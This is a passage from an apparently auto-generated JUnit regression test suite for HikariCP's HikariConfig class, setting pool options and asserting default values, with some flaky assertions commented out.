hikariConfig12.setConnectionInitSql("HikariPool-465");
java.util.Properties properties23 = hikariConfig12.getDataSourceProperties();
java.util.Properties properties24 = null;
com.zaxxer.hikari.HikariConfig hikariConfig25 = new com.zaxxer.hikari.HikariConfig(properties24);
boolean boolean26 = hikariConfig25.isAutoCommit;
hikariConfig25.poolName = "hi!";
java.lang.String str29 = hikariConfig25.dataSourceClassName;
java.lang.String str30 = hikariConfig25.dataSourceClassName;
hikariConfig25.setJdbc4ConnectionTest(false);
int int33 = hikariConfig25.maxPoolSize;
hikariConfig25.isRegisterMbeans = false;
boolean boolean36 = hikariConfig25.isInitializationFailFast();
hikariConfig25.setDataSourceClassName("HikariPool-68");
java.util.Properties properties39 = hikariConfig25.dataSourceProperties;
hikariConfig12.setDataSourceProperties(properties39);
java.util.Properties properties41 = null;
com.zaxxer.hikari.HikariConfig hikariConfig42 = new com.zaxxer.hikari.HikariConfig(properties41);
boolean boolean43 = hikariConfig42.isAutoCommit;
hikariConfig42.poolName = "hi!";
java.lang.String str46 = hikariConfig42.dataSourceClassName;
java.lang.String str47 = hikariConfig42.dataSourceClassName;
hikariConfig42.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer50 = hikariConfig42.connectionCustomizer;
hikariConfig42.setMaxLifetime((long) (short) 0);
hikariConfig42.setAcquireRetries(100);
long long55 = hikariConfig42.getIdleTimeout();
java.lang.String str56 = hikariConfig42.dataSourceClassName;
long long57 = hikariConfig42.getMaxLifetime();
long long58 = hikariConfig42.getLeakDetectionThreshold();
long long59 = hikariConfig42.idleTimeout;
long long60 = hikariConfig42.connectionTimeout;
java.util.Properties properties61 = hikariConfig42.getDataSourceProperties();
hikariConfig12.setDataSourceProperties(properties61);
hikariConfig1.dataSourceProperties = properties61;
long long64 = hikariConfig1.idleTimeout;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 0 + "'", int8 == 0);
org.junit.Assert.assertEquals("'" + str9 + "' != '" + "hi!" + "'", str9, "hi!");
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 35L + "'", long10 == 35L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertNull(str16);
// flaky: org.junit.Assert.assertTrue("'" + long17 + "' != '" + 60L + "'", long17 == 60L);
org.junit.Assert.assertNull(str18);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertNull(dataSource20);
org.junit.Assert.assertNotNull(properties23);
org.junit.Assert.assertTrue("'" + boolean26 + "' != '" + true + "'", boolean26 == true);
org.junit.Assert.assertNull(str29);
org.junit.Assert.assertNull(str30);
org.junit.Assert.assertTrue("'" + int33 + "' != '" + 60 + "'", int33 == 60);
org.junit.Assert.assertTrue("'" + boolean36 + "' != '" + false + "'", boolean36 == false);
org.junit.Assert.assertNotNull(properties39);
org.junit.Assert.assertTrue("'" + boolean43 + "' != '" + true + "'", boolean43 == true);
org.junit.Assert.assertNull(str46);
org.junit.Assert.assertNull(str47);
org.junit.Assert.assertNull(iConnectionCustomizer50);
// flaky: org.junit.Assert.assertTrue("'" + long55 + "' != '" + 60L + "'", long55 == 60L);
org.junit.Assert.assertNull(str56);
org.junit.Assert.assertTrue("'" + long57 + "' != '" + 0L + "'", long57 == 0L);
org.junit.Assert.assertTrue("'" + long58 + "' != '" + 0L + "'", long58 == 0L);
// flaky: org.junit.Assert.assertTrue("'" + long59 + "' != '" + 60L + "'", long59 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long60 + "' != '" + 10L + "'", long60 == 10L);
org.junit.Assert.assertNotNull(properties61);
// flaky: org.junit.Assert.assertTrue("'" + long64 + "' != '" + 60L + "'", long64 == 60L);
}
@Test
public void test19129() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19129");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
java.lang.String str7 = hikariConfig1.getCatalog();
hikariConfig1.setConnectionTimeout((long) 0);
javax.sql.DataSource dataSource10 = hikariConfig1.dataSource;
java.lang.String str11 = hikariConfig1.transactionIsolationName;
java.lang.String str12 = hikariConfig1.poolName;
long long13 = hikariConfig1.getMaxLifetime();
hikariConfig1.connectionCustomizerClassName = "HikariPool-23141";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertNull(str11);
// flaky: org.junit.Assert.assertEquals("'" + str12 + "' != '" + "HikariPool-50779" + "'", str12, "HikariPool-50779");
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 35L + "'", long13 == 35L);
}
@Test
public void test19130() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19130");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
hikariConfig1.setRegisterMbeans(false);
java.lang.String str8 = hikariConfig1.getDataSourceClassName();
hikariConfig1.transactionIsolation = (short) 1;
long long11 = hikariConfig1.getConnectionTimeout();
java.lang.String str12 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str15 = hikariConfig1.transactionIsolationName;
java.util.Properties properties17 = null;
com.zaxxer.hikari.HikariConfig hikariConfig18 = new com.zaxxer.hikari.HikariConfig(properties17);
boolean boolean19 = hikariConfig18.isAutoCommit;
hikariConfig18.poolName = "hi!";
hikariConfig18.setMinimumPoolSize(1);
javax.sql.DataSource dataSource24 = null;
hikariConfig18.dataSource = dataSource24;
int int26 = hikariConfig18.minPoolSize;
int int27 = hikariConfig18.minPoolSize;
hikariConfig18.isInitializationFailFast = false;
hikariConfig18.setConnectionInitSql("hi!");
hikariConfig18.isJdbc4connectionTest = true;
long long34 = hikariConfig18.getConnectionTimeout();
java.lang.String str35 = hikariConfig18.catalog;
hikariConfig1.addDataSourceProperty("HikariPool-1544", (java.lang.Object) hikariConfig18);
hikariConfig1.setRegisterMbeans(true);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer39 = hikariConfig1.connectionCustomizer;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str8);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 10L + "'", long11 == 10L);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + true + "'", boolean19 == true);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + 1 + "'", int26 == 1);
org.junit.Assert.assertTrue("'" + int27 + "' != '" + 1 + "'", int27 == 1);
// flaky: org.junit.Assert.assertTrue("'" + long34 + "' != '" + 10L + "'", long34 == 10L);
org.junit.Assert.assertNull(str35);
org.junit.Assert.assertNull(iConnectionCustomizer39);
}
@Test
public void test19131() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19131");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.setAcquireRetries(100);
long long14 = hikariConfig1.getIdleTimeout();
java.lang.String str15 = hikariConfig1.dataSourceClassName;
long long16 = hikariConfig1.getMaxLifetime();
long long17 = hikariConfig1.getLeakDetectionThreshold();
java.util.Properties properties18 = hikariConfig1.getDataSourceProperties();
long long19 = hikariConfig1.leakDetectionThreshold;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + long16 + "' != '" + 0L + "'", long16 == 0L);
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + long19 + "' != '" + 0L + "'", long19 == 0L);
}
@Test
public void test19132() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19132");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
java.lang.String str4 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.addDataSourceProperty("HikariPool-11287", (java.lang.Object) "HikariPool-220");
hikariConfig1.isJdbc4connectionTest = true;
org.junit.Assert.assertNull(str4);
}
@Test
public void test19133() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19133");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = hikariConfig1.connectionCustomizer;
java.lang.String str11 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.poolName = "HikariPool-168";
hikariConfig1.maxLifetime = 1;
java.lang.String str16 = hikariConfig1.getCatalog();
long long17 = hikariConfig1.leakDetectionThreshold;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(iConnectionCustomizer10);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
}
@Test
public void test19134() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19134");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.catalog;
int int2 = hikariConfig0.getMinimumPoolSize();
hikariConfig0.connectionCustomizerClassName = "hi!";
hikariConfig0.setUseInstrumentation(false);
javax.sql.DataSource dataSource7 = null;
hikariConfig0.setDataSource(dataSource7);
int int9 = hikariConfig0.maxPoolSize;
int int10 = hikariConfig0.minPoolSize;
long long11 = hikariConfig0.getAcquireRetryDelay();
org.junit.Assert.assertNull(str1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + 10 + "'", int2 == 10);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 10 + "'", int10 == 10);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + 0L + "'", long11 == 0L);
}
@Test
public void test19135() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19135");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
hikariConfig1.setRegisterMbeans(false);
java.lang.String str8 = hikariConfig1.getDataSourceClassName();
hikariConfig1.transactionIsolation = (short) 1;
long long11 = hikariConfig1.getConnectionTimeout();
hikariConfig1.setInitializationFailFast(true);
boolean boolean14 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.connectionCustomizerClassName = "";
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.transactionIsolationName = "HikariPool-6340";
boolean boolean21 = hikariConfig1.isJdbc4connectionTest;
java.lang.String str22 = hikariConfig1.connectionInitSql;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str8);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 10L + "'", long11 == 10L);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
org.junit.Assert.assertTrue("'" + boolean21 + "' != '" + true + "'", boolean21 == true);
org.junit.Assert.assertNull(str22);
}
@Test
public void test19136() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19136");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
java.lang.String str4 = hikariConfig1.connectionTestQuery;
hikariConfig1.setMaximumPoolSize(87);
java.lang.String str7 = hikariConfig1.connectionCustomizerClassName;
java.util.Properties properties8 = null;
com.zaxxer.hikari.HikariConfig hikariConfig9 = new com.zaxxer.hikari.HikariConfig(properties8);
hikariConfig9.setConnectionInitSql("hi!");
long long12 = hikariConfig9.getLeakDetectionThreshold();
java.util.Properties properties13 = null;
com.zaxxer.hikari.HikariConfig hikariConfig14 = new com.zaxxer.hikari.HikariConfig(properties13);
int int15 = hikariConfig14.getTransactionIsolation();
hikariConfig14.setRegisterMbeans(false);
java.lang.String str18 = hikariConfig14.transactionIsolationName;
int int19 = hikariConfig14.getMaximumPoolSize();
int int20 = hikariConfig14.transactionIsolation;
java.util.Properties properties21 = hikariConfig14.dataSourceProperties;
hikariConfig9.dataSourceProperties = properties21;
java.util.Properties properties23 = hikariConfig9.getDataSourceProperties();
hikariConfig1.dataSourceProperties = properties23;
com.zaxxer.hikari.HikariConfig hikariConfig25 = new com.zaxxer.hikari.HikariConfig(properties23);
com.zaxxer.hikari.HikariConfig hikariConfig26 = new com.zaxxer.hikari.HikariConfig(properties23);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer27 = hikariConfig26.connectionCustomizer;
int int28 = hikariConfig26.maxPoolSize;
int int29 = hikariConfig26.getMaximumPoolSize();
org.junit.Assert.assertNull(str4);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + long12 + "' != '" + 0L + "'", long12 == 0L);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + (-1) + "'", int15 == (-1));
org.junit.Assert.assertNull(str18);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 60 + "'", int19 == 60);
org.junit.Assert.assertTrue("'" + int20 + "' != '" + (-1) + "'", int20 == (-1));
org.junit.Assert.assertNotNull(properties21);
org.junit.Assert.assertNotNull(properties23);
org.junit.Assert.assertNull(iConnectionCustomizer27);
org.junit.Assert.assertTrue("'" + int28 + "' != '" + 60 + "'", int28 == 60);
org.junit.Assert.assertTrue("'" + int29 + "' != '" + 60 + "'", int29 == 60);
}
@Test
public void test19137() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19137");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setRegisterMbeans(false);
int int6 = hikariConfig1.getAcquireRetries();
java.lang.String str7 = hikariConfig1.connectionInitSql;
hikariConfig1.setDataSourceClassName("HikariPool-55");
hikariConfig1.setUseInstrumentation(false);
long long12 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.leakDetectionThreshold = 5000L;
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 3 + "'", int6 == 3);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + long12 + "' != '" + 100L + "'", long12 == 100L);
}
@Test
public void test19138() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19138");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
long long7 = hikariConfig1.idleTimeout;
java.lang.String str8 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setAcquireRetries(0);
int int11 = hikariConfig1.getAcquireIncrement();
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireRetryDelay((long) 52);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 60L + "'", long7 == 60L);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 0 + "'", int11 == 0);
}
@Test
public void test19139() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19139");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
long long2 = hikariConfig1.getIdleTimeout();
int int3 = hikariConfig1.acquireRetries;
long long4 = hikariConfig1.getConnectionTimeout();
int int5 = hikariConfig1.getTransactionIsolation();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer6 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer6;
hikariConfig1.leakDetectionThreshold = ' ';
hikariConfig1.setMaximumPoolSize((int) (short) 10);
int int12 = hikariConfig1.getTransactionIsolation();
boolean boolean13 = hikariConfig1.isJdbc4ConnectionTest();
// flaky: org.junit.Assert.assertTrue("'" + long2 + "' != '" + 60L + "'", long2 == 60L);
org.junit.Assert.assertTrue("'" + int3 + "' != '" + 3 + "'", int3 == 3);
// flaky: org.junit.Assert.assertTrue("'" + long4 + "' != '" + 10L + "'", long4 == 10L);
org.junit.Assert.assertTrue("'" + int5 + "' != '" + (-1) + "'", int5 == (-1));
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
}
@Test
public void test19140() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19140");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
int int12 = hikariConfig1.maxPoolSize;
hikariConfig1.connectionCustomizerClassName = "HikariPool-852";
javax.sql.DataSource dataSource15 = hikariConfig1.getDataSource();
hikariConfig1.transactionIsolationName = "HikariPool-15614";
java.lang.String str18 = hikariConfig1.getPoolName();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + 0 + "'", int12 == 0);
org.junit.Assert.assertNull(dataSource15);
org.junit.Assert.assertEquals("'" + str18 + "' != '" + "hi!" + "'", str18, "hi!");
}
@Test
public void test19141() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19141");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
long long2 = hikariConfig1.getIdleTimeout();
int int3 = hikariConfig1.acquireRetries;
hikariConfig1.setJdbc4ConnectionTest(true);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer6 = hikariConfig1.connectionCustomizer;
long long7 = hikariConfig1.connectionTimeout;
java.lang.String str8 = hikariConfig1.connectionCustomizerClassName;
long long9 = hikariConfig1.getAcquireRetryDelay();
// flaky: org.junit.Assert.assertTrue("'" + long2 + "' != '" + 60L + "'", long2 == 60L);
org.junit.Assert.assertTrue("'" + int3 + "' != '" + 3 + "'", int3 == 3);
org.junit.Assert.assertNull(iConnectionCustomizer6);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + long9 + "' != '" + 0L + "'", long9 == 0L);
}
@Test
public void test19142() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19142");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
java.lang.String str7 = hikariConfig1.dataSourceClassName;
hikariConfig1.setMaximumPoolSize(100);
hikariConfig1.addDataSourceProperty("HikariPool-413", (java.lang.Object) 32L);
long long13 = hikariConfig1.getLeakDetectionThreshold();
int int14 = hikariConfig1.getAcquireIncrement();
hikariConfig1.connectionInitSql = "HikariPool-469";
hikariConfig1.setConnectionTestQuery("HikariPool-332");
hikariConfig1.setAutoCommit(false);
javax.sql.DataSource dataSource21 = hikariConfig1.dataSource;
long long22 = hikariConfig1.maxLifetime;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + long13 + "' != '" + 0L + "'", long13 == 0L);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 0 + "'", int14 == 0);
org.junit.Assert.assertNull(dataSource21);
// flaky: org.junit.Assert.assertTrue("'" + long22 + "' != '" + 35L + "'", long22 == 35L);
}
@Test
public void test19143() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19143");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
hikariConfig1.setRegisterMbeans(false);
java.lang.String str8 = hikariConfig1.getDataSourceClassName();
hikariConfig1.transactionIsolation = (short) 1;
boolean boolean11 = hikariConfig1.isRegisterMbeans;
java.lang.String str12 = hikariConfig1.dataSourceClassName;
int int13 = hikariConfig1.acquireRetries;
hikariConfig1.setRegisterMbeans(true);
java.lang.String str16 = hikariConfig1.connectionInitSql;
java.lang.String str17 = hikariConfig1.getCatalog();
hikariConfig1.acquireRetries = (short) 100;
hikariConfig1.connectionCustomizerClassName = "HikariPool-1099";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + false + "'", boolean11 == false);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 3 + "'", int13 == 3);
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertNull(str17);
}
@Test
public void test19144() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19144");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
boolean boolean10 = hikariConfig1.isInitializationFailFast();
long long11 = hikariConfig1.maxLifetime;
hikariConfig1.minPoolSize = (byte) -1;
boolean boolean14 = hikariConfig1.isJdbc4connectionTest;
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
int int17 = hikariConfig16.getTransactionIsolation();
hikariConfig16.setRegisterMbeans(false);
java.lang.String str20 = hikariConfig16.transactionIsolationName;
long long21 = hikariConfig16.getIdleTimeout();
java.lang.String str22 = hikariConfig16.getCatalog();
java.lang.String str23 = hikariConfig16.getConnectionTestQuery();
java.util.Properties properties24 = null;
com.zaxxer.hikari.HikariConfig hikariConfig25 = new com.zaxxer.hikari.HikariConfig(properties24);
hikariConfig25.dataSourceClassName = "";
java.util.Properties properties28 = hikariConfig25.dataSourceProperties;
hikariConfig16.setDataSourceProperties(properties28);
hikariConfig1.setDataSourceProperties(properties28);
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties28);
hikariConfig31.maxLifetime = 3;
hikariConfig31.setPoolName("HikariPool-165");
int int36 = hikariConfig31.getMaximumPoolSize();
java.util.Properties properties37 = hikariConfig31.dataSourceProperties;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + (-1L) + "'", long11 == (-1L));
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNull(str20);
// flaky: org.junit.Assert.assertTrue("'" + long21 + "' != '" + 60L + "'", long21 == 60L);
org.junit.Assert.assertNull(str22);
org.junit.Assert.assertNull(str23);
org.junit.Assert.assertNotNull(properties28);
org.junit.Assert.assertTrue("'" + int36 + "' != '" + 60 + "'", int36 == 60);
org.junit.Assert.assertNotNull(properties37);
}
@Test
public void test19145() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19145");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
int int12 = hikariConfig11.getTransactionIsolation();
hikariConfig11.setRegisterMbeans(false);
java.lang.String str15 = hikariConfig11.transactionIsolationName;
int int16 = hikariConfig11.getMaximumPoolSize();
int int17 = hikariConfig11.transactionIsolation;
java.util.Properties properties18 = hikariConfig11.dataSourceProperties;
hikariConfig11.transactionIsolation = (byte) 1;
hikariConfig11.dataSourceClassName = "";
boolean boolean23 = hikariConfig11.isJdbc4connectionTest;
hikariConfig11.setJdbc4ConnectionTest(true);
hikariConfig1.addDataSourceProperty("HikariPool-59", (java.lang.Object) hikariConfig11);
hikariConfig11.leakDetectionThreshold = 87L;
boolean boolean29 = hikariConfig11.isInitializationFailFast();
long long30 = hikariConfig11.getAcquireRetryDelay();
hikariConfig11.dataSourceClassName = "HikariPool-584";
long long33 = hikariConfig11.maxLifetime;
java.lang.String str34 = hikariConfig11.getConnectionCustomizerClassName();
int int35 = hikariConfig11.getMinimumPoolSize();
hikariConfig11.setAutoCommit(true);
javax.sql.DataSource dataSource38 = hikariConfig11.getDataSource();
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + boolean23 + "' != '" + true + "'", boolean23 == true);
org.junit.Assert.assertTrue("'" + boolean29 + "' != '" + false + "'", boolean29 == false);
org.junit.Assert.assertTrue("'" + long30 + "' != '" + 0L + "'", long30 == 0L);
// flaky: org.junit.Assert.assertTrue("'" + long33 + "' != '" + 35L + "'", long33 == 35L);
org.junit.Assert.assertNull(str34);
org.junit.Assert.assertTrue("'" + int35 + "' != '" + 10 + "'", int35 == 10);
org.junit.Assert.assertNull(dataSource38);
}
@Test
public void test19146() throws Throwable {
if (debug)
